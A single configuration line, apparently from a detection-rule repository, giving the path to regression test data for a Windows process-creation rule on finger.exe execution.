regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_finger_execution/info.yml